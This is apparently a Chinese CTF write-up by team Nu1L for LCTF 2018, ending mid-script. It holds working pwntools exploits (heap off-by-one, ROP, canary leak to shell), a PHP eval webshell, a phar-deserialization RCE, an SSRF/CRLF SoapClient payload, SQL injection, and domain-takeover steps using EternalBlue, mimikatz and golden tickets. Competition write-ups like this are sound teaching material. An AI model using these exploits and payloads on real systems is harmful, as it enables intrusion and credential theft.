2018 LCTF

By Nu1L

[TOC]

比赛网址:https://lctf.pwnhub.cn/index
比赛时间:2018/11/17 9:00-2018/11.18 21:00
Team Page:http://nu1l-ctf.com


PWN

easy_heap

read_n函数存在off by one null

from pwn import *
def add(size,data):
    p.recvuntil('>')
    p.sendline('1')
    p.recvuntil('size')
    p.sendline(str(size))
    p.recvuntil('content')
    p.send(data)

def dele(index):
    p.recvuntil('>')
    p.sendline('2')
    p.recvuntil('index')
    p.sendline(str(index))


#p=process('./easy_heap')#,env={'LD_PRELOAD':'./libc64.so'})
p=remote('118.25.150.134', 6666) 
libc = ELF('./libc64.so')
for i in range(10):
    add(0xf0,'aaa\n')


dele(1)
for i in range(3,8):
    dele(i)
dele(9)
dele(8)
dele(2)
dele(0)
for i in range(7):
    add(0xf0,'aaa\n')
add(0,'')
add(0xf8,'\n')
dele(0)
dele(1)
dele(2)
dele(3)
dele(4)
dele(6)
dele(5)
for i in range(7):
    add(16,'/bin/bash\n')
p.recvuntil('>')
p.sendline('3')
p.recvuntil("index \n> ")
p.sendline('8')

addr = u64(p.recv(6).ljust(8,'\x00'))
libc_base = addr - (0x00007f97e7321ca0-0x7f97e6f36000)
info(hex(libc_base))
free_hook = libc_base+libc.symbols['__free_hook']

#sys = libc_base + libc.symbols['system']
sys = libc_base +0x4f322
info(hex(sys))
info(hex(free_hook))
add(0,'')
dele(5)
dele(8)
dele(9)
add(16,p64(free_hook)+'\n')
add(16,'/bin/bash\x00')
add(16,p64(sys)+'\n')
dele(0)

p.interactive()

pwn4fun

概率性exp
能不能出flag看脸

from pwn import *
context.log_level = 'debug'

def sigin(p, username):
    p.recvuntil('sign (I)n or sign (U)p?')
    p.sendline('I')
    p.recvuntil('input your name')
    p.send(username)

def choose(p, c):
    p.recvuntil('4. do nothing')
    p.sendline(str(c))



def pwn(p):
    count = 0
    p.recvuntil('press enter to start game')
    p.send('\n')
    #gdb.attach(p)
    sigin(p, 'admin'.ljust(9, '\x00'))
    choose(p, 1)
    while True:
        p.recvuntil('----turn ')
        turn = int(p.recvuntil('-', drop=True))
        log.info('turn: {}'.format(turn))
        p.recvuntil('this is your e_cards\n')
        card_str = p.recvuntil('\n')
        guard_num = card_str.count('Guard')
        peach_num = card_str.count('Peach')
        attack_num = card_str.count('Attack')
        card_num = guard_num + peach_num + attack_num
        my_card = card_str.split(' ')
        try:
            first = my_card[1]
        except:
            first = ''


        log.info('guard:{} peach:{} attack:{}'.format(guard_num, peach_num, attack_num))
        log.info('count:{}'.format(count))
        p.recvuntil('your health is ')
        health = int(p.recvuntil('\n', drop=True))
        log.info('health:{}'.format(health))

        p.recvuntil('enemy e_cards: ')
        enemy_card = int(p.recvuntil(' ', drop=True))
        p.recvuntil('enemy health: ')
        enemy_health = int(p.recvuntil('\n', drop=True))
        log.info('enemy_card:{} enemy_health:{}'.format(enemy_card, enemy_health))


        # always attack
        p.recvuntil('3. Pass\n')
        if attack_num != 0 and enemy_health > 0 and not (first == 'Attack' and count == 0):
            p.sendline('1')
            p.recvuntil(': Attack!\n')
            p.recvuntil('COM: ')
            p.recvuntil('\n')
            card_num -= 1
        elif peach_num != 0 and health != 7 and count != 6:
            p.sendline('2')
            p.recvuntil(': eat a peach and +1 health\n')
            card_num -= 1
            health += 1
        else:
            p.sendline('3')

        if card_num > health:
            p.recvuntil('put the e_card number you want to throw\n')
            p.sendline(str(card_num))
            card_num -= 1
            if card_num - health:
                p.recvuntil('put the e_card number you want to throw\n')
                if first == 'Attack' and card_num != 0 and count == 0:
                    p.sendline('-5')
                    count += 1
                elif first == 'Guard' and card_num != 0 and count == 1:
                    p.sendline('-5')
                    count += 1
                elif count > 1 and count < 6:
                    p.sendline('-5')
                    count += 1
                else:
                    p.sendline(str(card_num))



        #data = p.recvuntil('\n')
        # if data == "you don't have a attack e_card!\n":
        #     p.recvuntil('put the e_card number you want to throw\n')
        #     p.sendline('1')
        p.recvuntil('------your turn is over-------\n')
        p.recvuntil("it's my turn, draw!\n")
        data = p.recv(1)
        if data == '-':
            continue
        data = p.recvuntil('\n')
        if 'eat' in data:
            data = p.recv(1)
            if data == '-':
                continue
            p.recvuntil('\n')

        data = p.recv(1)
        if data != 'd':
            p.recvuntil(': -1 health\n')
            if p.recv(1) == 'y':
                return False
                p.interactive()
            continue
        p.recvuntil('guard?[0/1]\n')
        if health <= 4 and count != 6:
            p.sendline('1')
        else:
            p.sendline('0')
            p.recvuntil(': -1 health\n')
            data = p.recv(1)
            if data != '-':
                break
    p.recvuntil('one more?(0/1)')
    p.sendline('1')
    sigin(p, 'admin'.ljust(9, '\x00'))
    p.interactive()




if __name__ == '__main__':
    #p = remote('212.64.75.161', 2333)
    while True:
        p = remote('212.64.75.161', 2333)
        #p = process('sgs')
        #gdb.attach(p)
        if pwn(p):
            break
        p.close()
    #gdb.attach(p)
    p.interactive()

弃牌的时候第二次弃牌没有检查负数

echos

可以盖stdin stdout stderr指针

长度超过可写区时 read 返回-1 直到指针向前移到可以写入这么长的内容为止 可以改掉stdin stdout stderr指针

from pwn import *


p = process('./echos', env = {'LD_PRELOAD': './libc64.so'})

#p = remote('172.81.214.122', 6666)

p.sendline(str(0xc40).ljust(8, '\x00') + p64(0x4013c3) + p64(0x403390) + p64(0x401030) + p64(0x4013c1) + p64(0x401030) + p64(0x444444) + p64(0x401307))

p.recvuntil('size is 3136')

payload = (p64(0x4013bd) + p64(0x4013bc)).ljust(0xc3f, 'A')

#raw_input()
p.send(payload)


p.sendline()

#p.interactive()

p.recvuntil('enter the size:\n')
puts_addr = u64(p.recvline().strip().ljust(8, '\x00'))

libc_addr = puts_addr - 0x6f690

print hex(libc_addr)

scanf = libc_addr + 0x6a7e0
system = libc_addr + 0x45390
one = libc_addr + 0x4526a

p.send((p64(system) + p64(one)).ljust(0xc40, 'A'))

p.interactive()

交过去的writeup是这个 orz
打的relro,不需要leak

from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
def pwn(p):
    #gdb.attach(p)
    p.recvuntil('enter the size:')
    payload = str(0xc40)
    payload = payload.ljust(8, '\x00')
    # 0x00000000004013c3 : pop rdi ; ret
    payload += flat([0x00000000004013c3, 0x404000 - 0x100])
    payload += p64(0x40103B)
    payload += p64(0x25b) # idx
    payload += p64(0xdeadbeffdeadbeff) # retaddr


    p.sendline(payload)
    p.recvuntil('size is ')
    p.recvuntil('\n')
    payload = p64(0xdeadbeffdeadbeff) # atoi got
    payload += p64(0x4013BC) # scanf got
    payload = payload.ljust(0xb40, 'b')
    payload += '/bin/sh\x00'
    payload += '\x00'*8
    payload += p64(0x4033C0) + p32(0x7) + p32(0x282) + p64(0)
    payload += '\x00'*8
    payload += p32(15024) + p32(0x12) + p64(0) + p64(0)
    payload += 'system\x00'
    payload = payload.ljust(0xc40, 'a')
    #payload += '\n'
    #payload += 'a'*0x5000
    p.send(payload)
    sleep(1)
    p.sendline('')
    p.interactive()

if __name__ == '__main__':
    p = process('./echos')
    #p = remote('172.81.214.122', 6666)
    pwn(p)

just_pwn

前面有个莫名其妙的块加密算法,但是不管怎么加密用time(0)做随机数种子都是硬伤。后面有个栈溢出,没仔细看,爆就完事了。

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *
import ctypes, copy, time 

libc = ctypes.CDLL("libc.so.6")
c32 = lambda x: ctypes.c_uint32(x).value
c8 = lambda x: ctypes.c_uint8(x).value 
h2n = lambda x: map(ord, x.decode('hex'))
n2h = lambda x: ''.join(map(chr, x)).encode('hex')

#p = process("./just_pwn")
p = remote("118.25.148.66", 2333)
libc.srand(libc.time(0))

class NumbnutsBlockCipher(object):
    def __init__(self):
        self.add_key = []
        self.sr1 = []
        self.sr2 = []
        self.xor_key = []

        for i in xrange(16):
            self.add_key.append(c8(libc.rand()))
            self.sr1.append(c8(libc.rand()) & 0xf)
            self.sr2.append(c8(libc.rand()) & 0xf)
            self.xor_key.append(c8(libc.rand()))
        return

    def pad(self, data):
        if len(data) % 16 == 0:
            return data + [0x10] * 0x10
        c = len(data) % 16
        return data + [16 - c] * (16 - c)

    def unpad(self, data):
        return data[:-data[-1]]

    def decrypt_round(self, out):
        assert len(out) == 16
        for i in xrange(16):
            out[self.sr1[i]] ^= self.xor_key[i]
            out[self.sr2[i]] ^= self.xor_key[i]
        for i in xrange(16):
            out[i] = c8(out[i] - self.add_key[i])
        return out 

    def encrypt_round(self, out):
        assert len(out) == 16
        for i in xrange(16):
            out[i] = c8(out[i] + self.add_key[i])
        for i in xrange(16):
            out[self.sr1[i]] ^= self.xor_key[i]
            out[self.sr2[i]] ^= self.xor_key[i]
        return out 

    def hex2num(self, data):
        return map(ord, data.decode('hex'))

    def encrypt(self, data, iv):
        data = self.pad(data)
        bn = 0
        result = []
        while bn * 16 < len(data):
            block = data[bn * 16: bn * 16 + 16]
            for i in xrange(16):
                if bn == 0:
                    block[i] ^= iv[i]
                else:
                    block[i] ^= result[(bn - 1) * 16 + i]
            block = self.encrypt_round(block)
            result += block 
            bn += 1
        return result

    def decrypt(self, data, iv):
        result = []
        bn = 0
        while bn * 16 < len(data):
            block = self.decrypt_round(data[bn * 16: bn * 16 + 16])
            for i in xrange(16):
                if bn == 0:
                    block[i] ^= iv[i]
                else:
                    block[i] ^= data[(bn - 1) * 16 + i]
            result += block 
            bn += 1
        result = self.unpad(result)
        return result 

iv = map(ord, '12345678abcdefgh')
cipher = NumbnutsBlockCipher()

assert cipher.decrypt(cipher.encrypt([1,2,3,4], iv), iv) == [1,2,3,4]

p.recvuntil('Exit\n')
p.sendline('1')
p.recvuntil('CipherText=')
ct = p.recvuntil(';', drop=True)
pt = ''.join(map(chr, cipher.decrypt(h2n(ct), iv)))
print pt
if not 'user' in pt:
    raise Exception("Invalid keys")

crafted = n2h(cipher.encrypt(map(ord, 'guest_account:9999;guestname:user'), iv))
assert len(crafted) == 96

p.recvuntil('Exit\n')
p.sendline('2')
p.recvuntil('please:\n')
payload = 'iv=31323334353637386162636465666768;CipherLen=0096;CipherText=' + crafted.upper() + ';'
p.sendline(payload)

#context.log_level = 'DEBUG'
#gdb.attach(p)
p.recvuntil('----\n')
p.recvuntil('----\n')
p.sendline('3')
for i in xrange(10):
    p.recvuntil('confirm\n')
    p.sendline('n')
p.recvuntil('confirm\n')
p.sendline('y')
p.recvuntil('software:\n')
p.send('a'*9)
p.recvuntil('a'*9)
canary = '\x00' + p.recvn(7)
log.info("Canary = " + canary.encode('hex'))
payload = 200 * 'A' + canary + 'A' * 8 + p16(0x122c)
p.recvuntil('----\n')
p.recvuntil('----\n')
p.sendline('3')
p.recvuntil('confirm\n')
p.sendline('y')
p.recvuntil('software:\n')
p.send(payload)

time.sleep(0.5)
p.sendline('echo 123;')
p.recvuntil('123\n')

p.interactive()

WEB

Travel

http://118.25.150.86/source

https://cloud.tencent.com/document/product/213/4934

http://118.25.150.86/?url=http://metadata.tencentyun.com/latest/meta-data/network/interfaces/macs

52:54:00:48:c8:73(hex)->90520735500403(int)

因为nginx禁用了PUT方法,所以用X-HTTP-Method-Override:PUT绕过

然后向/home/lctf/.ssh/authorized_keys 写入自己的公钥

T4lk 1s ch34p,sh0w m3 the sh31l

http://212.64.7.171/LCTF.php

$SECRET  = `../read_secret`;                                   
$SANDBOX = "../data/" . md5($SECRET. $_SERVER["REMOTE_ADDR"]); 
$FILEBOX = "../file/" . md5("K0rz3n". $_SERVER["REMOTE_ADDR"]);  

class K0rz3n_secret_flag { 
    protected $file_path; 
    function __destruct(){ 
        if(preg_match('/(log|etc|session|proc|data|read_secret|history|class|\.\.)/i', $this->file_path)){ 
            die("Sorry Sorry Sorry"); 
        } 
    include_once($this->file_path); 
 } 
} 


function check_session(){
   //cookie取数据并进行签名校验
  //return 数据中的路径,既$SANDBOX
}
...

$mode = $_GET["m"]; 

if ($mode == "upload"){ 
     upload(check_session()); 
} 
else if ($mode == "show"){ 
    show(check_session()); 
} 
else if ($mode == "check"){ 
    check(check_session()); 
} 
else if($mode == "move"){ 
    move($_GET['source'],$_GET['dest']); 
} 
else{ 

    highlight_file(__FILE__);     
}

1. 上传要被include的webshell

GIF89a
<?php
eval($_GET[1]);
?>

2. 用另一个remoteip对应的浏览器上传phar文件

<?php
class K0rz3n_secret_flag {
    protected $file_path='/var/www/data/67bf5ff3cfa1cdd00f700328698c2adb/avatar.gif';
    function __destruct(){
        if(preg_match('/(log|etc|session|proc|read_secret|history|class)/i', $this->file_path)){
            die("Sorry Sorry Sorry");
        }
    include_once($this->file_path);

    }
 }

$a= new K0rz3n_secret_flag;

$p = new Phar('./1.phar', 0);
$p->startBuffering();
$p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
$p->setMetadata($a);
$p->addFromString('1.txt','text');
$p->stopBuffering();
rename('./1.phar', 'avatar.gif');

3. 利用wrapper phar:// 触发反序列化=>RCE

L playground2

http://212.64.7.239

通过os.path.join特性, 实现读取/var/www/project/playground目录/文件

>>> os.path.join('/etc', '/passwd')
'/passwd'

下载pyc反编译

http://212.64.7.239/sandbox?url=file://sandbox//var/www/project/playground/__pycache__&token=LRXfAXOKKIiR6y0hkqZ9VmbiO5Pkguhn09OVvwF/S5jZ9nJ4w0abYS5ADGreQd9mENGxPUQ4OLrtPOh7vuXCXBqQ/BHAyiwWONd01jW0ONdLSyLOI/fy3sr+lIvGei5ue9wd/XqM9WawN26tpaZ372nitSp6ZONiO1VGFtgwdmpgwMvUlZPgzj5vcgGRSNFj

在main.py发现username为admin即可get flag

@app.route('/')
def index():
    user = request.cookies.get('user', '')
    try:
        username = session_decode(user)
    except Exception:
        username = get_username()
        content = escape(username)
    else:
        if username == 'admin':
            content = escape(FLAG)
        else:
            content = escape(username)

    resp = make_response(render_template('main.html', content=content))
    return resp

在 session.py 文件里有 session_encode 的实现, 整个加密简化一下就是

session_encode(content) => base32(content).[MDA(char) for char in content]

由于签名部分是对每个字母分别 MDA 加密(题目中魔改MDx实现的一种MAC算法), 而且seed固定, 所以每个字母在加密之后得出的加密串不会改变. 另外在没有设置user的cookie时, main.py中会取随机5个字符作为username, session_encode后发送给客户端. 那么就重复随机生成username, 找每个字母MDA加密后的结果, 拼接即可.

b962d95efd252479 => a
84407154c863ef36 => d
e80346042c47531a => m
6e1beb0db216d969 => i
b020cd1cf4031b57 => n
MFSG22LO.b962d95efd25247984407154c863ef36e80346042c47531a6e1beb0db216d969b020cd1cf4031b57

EZ OAuth

https://lctf.1slb.net/

简单说明

利用OAUTH认证登录的系统,所采用的第三方为TYPCN
https://accounts.typcn.com/
题目应用从TYPCN获取用户的邮箱信息,匹配到是pwnhub.cn这个域才可以使用正常功能。

绕过邮箱检测机制

邮箱检测机制是从头开始匹配,匹配到 pwnhub.cn为止,所以可以构造三级域名[email protected]邮箱,绕过检测机制,为了方便,直接采用了腾讯的企业邮,注册的时候域名部分填pwnhub.cn.mydomain

user的功能触发ssrf -> 中间人劫持攻击

用https服务器接收一下

在burp上重放他这个报文,得到返回json数据是

猜测服务端是接收到返回的json,验证签名sign(jsondata.result) == jsondata.sign
然后再根据result返回给用户相应的内容。
于是想到攻击思路是,我在远程服务器上构造返回一个这样的json数据(相当于中间人攻击),根据猜测的代码写法,是存在弱类型判断的,也就是我返回给他sign:true,那么签名判断就被绕过了。
测试了一下,确实如此

根据hint: 不同的功能可能利用类似的接口,在admin页面就可以用同样的办法进行中间人劫持,返回true,从而认证成admin。

年久失修的系统

http://212.64.13.122

id参数可以注入,但限制的很死

解题过程中猜测修改密码或签名的时候的流程是
先用select通过id选出该用户检测是否为当前session中的用户,
再用update通过id更新用户信息。

我们想到的做法是寻找一个变化的mysql系统变量,例如@@timestamp@@pseudo_thread_id,然后让id=myid-@@timestamp mod 2*(myid-adminid),这样selectupdate所计算出的实际id不同,select使用的是我的id,可以通过用户检测,update使用的是admin的id,就可以重置admin的密码。

但是尝试了很长的时间,发现很难竞争成功.
按照出题人给的poc

id=100001+@a:=@a:=@a is not null

我构造出了

id = myid-(myid-adminid)*@t:=@t:=@t is not null

是可以的,因为他在同一个连接中,第一次被调用就会+1,再乘上myid和adminid的差值,就可以在第二次的时候选中admin对应的记录。

然后登录admin后台后,存在一个后台注入

直接py:

God of domain pentest

题目描述:
windows域环境权限不好配,还请各位师傅高抬贵手,不要搅屎 
c段只用到了0-20,不需要扫21-255,端口也只开放了常用端口。 
web.lctf.com中有个域用户是web.lctf.com\buguake,密码是172.21.0.8的本地管理员密码 

188.131.161.90

nmap很容易得到一个web和开了socks5的1080 1090端口.
内网扫了下发现0.8上80端口开着并跑着phpmyadmin于是general_loggetshell.

然后还存在永恒之蓝2333 于是愉快的使用mimikatz得到了本地administrator密码和域账号密码.

然后通过域内信息收集得到了SUB-DC.web.lctf.com尝试了一波ms14068.(impacket套件中的goldenPac.py)

拿下sub-dc之后发现存在父域.

然后通过mimikatz伪造内部信任AD林中的信任票据,这里是因为Gold Ticket中默认包含了Enterprise Admin组的关系,而Enterprise Admin同时又是AD域中Administrator组的成员。(涉及sidHistory)所以攻击者可以伪造黄金票据来获取到域中的Enterprise Admin权限,实现跨域.

kerberos::golden /domain:web.lctf.com /sid:子域sid /sids:企业管理组sid /krbtgt:nthash /user:任意填写

misc:cmd弹 cmd然后愉快的读flag.(父域:dc.lctf.com)

最后清除票据.

sh0w m3 the sh31l 4ga1n

http://212.64.74.153/LCTF.php

比起第一道题的正则多了一个data

于是phar://就不能读取data目录下的内容了

做这道题的时候想到了两种非预期

1. 签名不变

可以看到,出题人获取密钥用的语句是

但通过第一题getshell后发现这个东西并不是可执行程序或bash文件,只是一堆字符串,那么这个东西返回的永远是null, 从而签名是不会变的,于是就好玩了。。我把cookie里的内容($data->avatar)直接改成/tmp/,那么我调用upload的时候就会向/tmp/写文件,再调用move,将他改个名,就可以反复向/tmp/写文件了

于是和第一题一样,两个文件,一个webshell,一个phar文件,直接getshell。

2. 利用tmpfile getshell

http://212.64.74.153/LCTF.php?m=check&c=compress.zlib://php://filter/string.strip_tags/resource=/etc/passwd

解法

bestphp's revenge

http://172.81.210.82

index.php

<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET[f],$_POST);
session_start();
if(isset($_GET[name])){
    $_SESSION[name] = $_GET[name];
}
var_dump($_SESSION);
$a = array(reset($_SESSION),'welcome_to_the_lctf2018');
call_user_func($b,$a);
?>

flag.php

session_start();
echo 'only localhost can get flag!';
$flag = 'LCTF{*************************}';
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
       $_SESSION['flag'] = $flag;
   }
only localhost can get flag!

利用思路

session反序列化->soap(ssrf+crlf)->call_user_func激活soap类
有关session触发反序列化的资料
有关soapclient扩展反序列化的资料

构造soap序列化数据,ssrf+crlf带着可控的phpsessid访问flag.php

这个过程完全和有关soapclient扩展反序列化的资料一致。

O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A4%3A%22aaab%22%3Bs%3A8%3A%22location%22%3Bs%3A29%3A%22http%3A%2F%2F172.81.210.82%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A201%3A%22testaa%0D%0AContent-Type%3A+application%2Fx-www-form-urlencoded%0D%0AX-Forwarded-For%3A+127.0.0.1%0D%0ACookie%3A+PHPSESSID%3Dtestaa123%0D%0AContent-Length%3A+65%0D%0A%0D%0Ausername%3Dwwwwc%26password%3Dwww%26code%3Dcf44f3147ab331af7d66943d888c86f9%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

利用session_start()的参数可控将序列化数据注入到sessionfile中

根据有关session触发反序列化的资料

...
call_user_func($_GET[f],$_POST);
...
if(isset($_GET[name])){
    $_SESSION[name] = $_GET[name];
}
...

从而构造出

$_GET = array('f'=>'session_start','name'=>'|<serialize data>')
$_POST = array('serialize_handler'=>'php_serialize')

但是因为新版的php修复了soap反序列化的时候会发送网络请求的bug,所以还需要正向调用激活。

利用第二个call_user_func激活soap类

$b = 'implode';
call_user_func($_GET[f],$_POST);
session_start();
...
$a = array(reset($_SESSION),'welcome_to_the_lctf2018');
call_user_func($b,$a);

可以看到经过上一步,$_SESSION里的数据是soap对象,再经过reset()弹出这个对象成为了$a[0],那么我可以通过变量覆盖$bcall_user_func,调用$a中的这个对象,从而触发soap的网络请求。

$_GET = array('f'=>'extract');
$_POST = array('b'=>'call_user_func');

经过这一步,soap请求发了出去,也就我们构造soap序列化的时候注入的可控phpsessid相应的session里被加入了flag

于是带着这个phpsessid请求index.php,中间有一行代码var_dump($_SESSION);从而拿到flag

Re

拿去签到吧朋友

好像是个二叉搜索树,不考虑平衡,按输入的顺序建树

node: {character, seq, left, right}

先序遍历了一下(字典序先序序列)

好像有个DES,然后矩阵乘法,check
太硬核了。。。
DES密钥是fa1conn\x00

先解矩阵方程

A*B=C 6*6的矩阵
B = [23,
  65,
  24,
  78,
  43,
  56,
  59,
  67,
  21,
  43,
  45,
  76,
  23,
  54,
  76,
  12,
  65,
  43,
  89,
  40,
  32,
  67,
  73,
  57,
  23,
  45,
  31,
  54,
  31,
  52,
  13,
  24,
  54,
  65,
  34,
  24]
 C = [ 43666,
  49158,
  43029,
  51488,
  53397,
  51921,
  28676,
  39740,
  26785,
  41665,
  35675,
  40629,
  32311,
  31394,
  20373,
  41796,
  33452,
  35840,
  17195,
  29175,
  29485,
  28278,
  28833,
  28468,
  46181,
  58369,
  44855,
  56018,
  57225,
  60666,
  25981,
  26680,
  24526,
  38780,
  29172,
  30110]
>>> a = [119, 175, 221, 238, 92, 171, 203, 163, 98, 99, 92, 93, 147, 24 , 11, 251, 201, 23, 70, 71, 185, 29, 118, 142, 182, 227, 245, 199, 172, 100, 52, 121, 8, 142, 69, 249, 0x73, 0x3c, 0xf5, 0x7c]
>>> des.decrypt(''.join(map(chr ,a)))
'LC-+)=1234@AFETRS{the^VYXZfislrvxyz}\x00\x00\x00\x00'

先序序列求出来了
顺序是[0, 1, 14, 12, 17, 18, 19, 27, 28, 2, 15, 20, 31, 29, 30, 16, 13, 5]
算出来半个Flag

LCTF{this-RevlrSE=

后序遍历了一遍
根据所有数的和SMC,因为用到的字符已知了,直接过掉
SMC出来的代码是一个简单Xor

x = [  124, 129,  97, 153, 103, 155,  20, 234, 104, 135, 
   16, 236,  22, 249,   7, 242,  15, 243,   3, 244, 
   51, 207,  39, 198,  38, 195,  61, 208,  44, 210, 
   35, 222,  40, 209,   1, 230]
for i in xrange(36):
    for j in xrange(0, 8, 2):
        x[i] ^= (1 << (j + i % 2))

得到序列

)+4321A@=-EFCSRXZYV^ferlsihzyxvt}{TL

顺序是[19, 18, 5, 7, 17, 1, 0, 20, 6, 29, 28, 27, 15, 16, 4, 3, 2, 32]
解到Flag

GG,又是个二血

easy_vm

VM大概是这样的

while ( 1 )
  {
    result = (unsigned int)(*(_DWORD *)a1->pc - 134);
    switch ( *(_DWORD *)a1->pc )
    {
      case 0x86:
        push_i64(a1);
        break;
      case 0x87:
        push_reg(a1);
        break;
      case 0x88:
        mov_reg_nextinst(a1);
        break;
      case 0x89:
        mov_reg__ptr_(a1);
        break;
      case 0x8A:
        pop_reg(a1);
        break;
      case 0x8B:
        add_reg_reg(a1);
        break;
      case 0x8C:
        reg_reg_sub(&a1->r0);
        break;
      case 0x8D:
        mul_reg_reg(&a1->r0);
        break;
      case 0x8E:
        div_reg_reg(a1);
        break;
      case 0x8F:
        mod_reg_reg(a1);
        break;
      case 0x90:
        xor_reg_reg(a1);
        break;
      case 0x91:
        and_reg_reg(a1);
        break;
      case 0x92:
        mov_r4_reg(a1);
        break;
      case 0x93:
        inc_reg(a1);
        break;
      case 0x94:
        dec_reg(a1);
        break;
      case 0x95:
        mov_reg_i64(a1);
        break;
      case 0x96:
        mov_reg_reg(a1);
        break;
      case 0x97:
        mov_reg_data(a1);
        break;
      case 0x98:
        mov_data_reg(a1);
        break;
      case 0x99:
        inc_data_ptr(a1);
        break;
      case 0x9A:
        inc_dword_data_ptr(a1);
        break;
      case 0x9B:
        cmp_reg_reg(a1);
        break;
      case 0x9C:
        jl(a1);
        break;
      case 0x9D:
        jg(a1);
        break;
      case 0x9E:
        jz(a1);
        break;
      case 0x9F:
        jnz(a1);
        break;
      case 0xA0:
        sub_401346(a1);
        break;
      case 0xA1:
        sub_4014CC(a1);
        break;
      case 0xA2:
        nop(a1);
        break;
      case 0xA3:
        return result;
      default:
        nop(a1);
        break;
    }

第一段

0  mov r3, 0x1c
4  mov r1, [data]
6  cmp r1, r0
8  jz $+7
10 dec r3
12 inc data
13 jmp $-9   // strlen
15 cmp r3, r2
17 jnz $+6
19 mov r0, 1
23 gg

Flag长度为0x1b

第二段

0  mov r4, r0
2  jnz $+2
4  GG
5  mov r0, 0x80
9  mov r2, 0x3f
13 mov r3, 0x7b
17 mov r4, 0x1c
21 mov r1, [data]
23 mul r1, r2
25 add r1, r3
27 mod r1, r0
29 mov [data], r1
31 inc data
32 dec r4
34 push r4
36 mov r4, r4
38 jnz $+2
40 GG
41 pop r4
43 jmp $-22
45 GG

对Flag做了一个变形

for i in xrange(0x1b):
    flag[i] = (flag[i] * 0x3f + 0x7b) % 0x80

第三段

0  mov r4, r0
2  jnz $+2
4  GG
5  push 0x3E
8  push 0x1a
11 push 0x56
14 push 0x0d
17 push 0x52
20 push 0x13
23 push 0x58
26 push 0x5a
29 push 0x6e
32 push 0x5c
35 push 0x0f
38 push 0x5a
41 push 0x46
44 push 0x07
47 push 0x09
50 push 0x52
53 push 0x25
56 push 0x5c
59 push 0x4c 
62 push 0x0a
65 push 0x0a
68 push 0x56
71 push 0x33
74 push 0x40
77 push 0x15
80 push 0x07
83 push 0x58
86 push 0x0f
89 mov r0, 0
93 mov r3, 0x1c
97 mov r1, [data]
99 pop r2
101 cmp r1, r2
103 jz $+3
105 GG
106 inc data
107 dec r3
109 mov r4, r3
111 jnz $+5
113 mov r0, 1
117 GG
118 jmp $-21
120 GG

就是个比较

import string
a = [i for i in xrange(0x80)]
b = [(i * 0x3f + 0x7b) % 0x80 for i in a]
a = ''.join(map(chr, a))
b = ''.join(map(chr, b))
t = string.maketrans(b, a)

correct = [0x0f, 0x58, 0x07, 0x15, 0x40, 0x33, 0x56, 0x0a, 0x0a, 0x4c, 0x5c, 0x25, 0x52, 0x09, 0x07, 0x46, 0x5a, 0x0f, 0x5c, 0x6e, 0x5a, 0x58, 0x13, 0x52, 0x0d, 0x56, 0x1a, 0x3e]

flag = ''.join(map(chr, correct)).translate(t)

print flag

真的可以逐位爆破的……卧槽

想起「Qt

correct=DQYHTONIJLYNDLA

先试一下爆破

AEEEEEEEEEEEEEE => AGIKMOQSUWYACEG
BEEEEEEEEEEEEEE => BGIKMOQSUWYACEG
DAAAAAAAAAAAAAA => DCEGIKMOQSUWYAC
DBAAAAAAAAAAAAA => DDEGIKMOQSUWYAC

好像可以。。。

DOBAAAAAAAAAAAA => DQFGIKMOQSUWYAC

好像就是个多表移位?

>>> a = 'AEEEEEEEEEEEEEE'
>>> b = 'AGIKMOQSUWYACEG'
>>> c = 'DQYHTONIJLYNDLA'
>>> flag  = ''.join(map(chr, [((ord(c[i]) - 65) - (ord(b[i]) - ord(a[i])) % 26) % 26 + 65 for i in xrange(15)]))
>>> flag
'DOUBLEBUTTERFLY'

...这么水吗

太真实了

b2w

400E66似乎是把图片变成黑白 二值化

400F38是取周围一圈颜色的平均值? 高斯模糊???

402C7F先算了白色的点离原点的距离,取一个距离最小的点,加入数组

from pwn import *

key = 'LCTF{LcTF_1s_S0Oo0Oo_c0o1_6uT_tH1S_iS_n0t_fL4g}'

f = open('out.wav','rb')
d = f.read()
f.close()

res = ''

def de1(a,k):
    t = k * 0x101
    t = t & 0xffff
    return a ^ t

j = 0
h = []
r = []
for i in xrange(len(d)/2):
    t = d[i*2:i*2+2]
    tt = u16(t)
    tt = (de1(tt,ord(key[j % len(key)])))
    if tt >= 0x8000:
        tt -= 0x10000
    j += ord(key[j % len(key)])
    if i %2 == 0:
        h.append(tt/200.0)
    else:
        r.append(tt/200.0)
for i in xrange(len(h)):
    print h[i],r[i]

还在跑图片还原,matlab怪慢的

d = load("C:\Users\pzhxbz\Desktop\lctf\test_out");
x=d(:,1);
y=d(:,2);
hold on;
for i = 1:44
    for j = 1:2000
            index = i*2000+j;
            plot(x(index) + i*200,-y(index),'r.','markersize',30);
    end
end
hold off;
%LCTF{NOW_YOU_GOT_A_OSCILLOSCOPE_MEDIA_PLAYER}

想起「 Lunatic Game 」

GHC编译的haskell binary

直接设置ip到4023C8运行即可获得flag

想起「壶中的大银河 ~ Lunatic 」

最后是个b16

from pwn import *
table = 'QWERTYUIOP!@#$%^'

def b16decode(s):
    res = ''
    for i in s:
        a = table.index(i)
        res += hex(a)[-1]
    return res.decode('hex')

de1 = (b16decode('IQURUEURYEU#WRTYIPUYRTI!WTYTE!WOR%Y$W#RPUEYQQ^EE')) 


for i in xrange(len(de1)/4):
    print(hex(u32(de1[i*4:(i+1)*4])))

然后在编码函数8B7A处下断点看内存,发现是四字节四字节的加密的,所以尝试一波黑盒

输入为aaaa时加密结果是4457415d
输入为baaa时加密结果是4457415e

非常有规律。
尝试了简单的加法,失败

尝试了一下亦或,居然成功的解出了LCTF四个字符,但是观察到前四个字符对后四个字符有影响,所以每解密对四个字符时就直接重新运行程序继续解出下四个字符

还好flag长度不长。。。。。

MSP430

看符号发现可能是个RC4

但是秘钥位置未知,进入main函数发现有个keygen,但是也只有后四位的生成算法,但是看到文件中字符串有LCTF,大胆猜测前四位是LCTF,然后根据算法遍历后四位可能的值,就可以解出flag

from Crypto.Cipher import ARC4
from pwn import *
s = '2db7b1a0bda4772d11f04412e96e037c370be773cd982cb03bc1eade'.decode('hex')
k = 'LCTF'
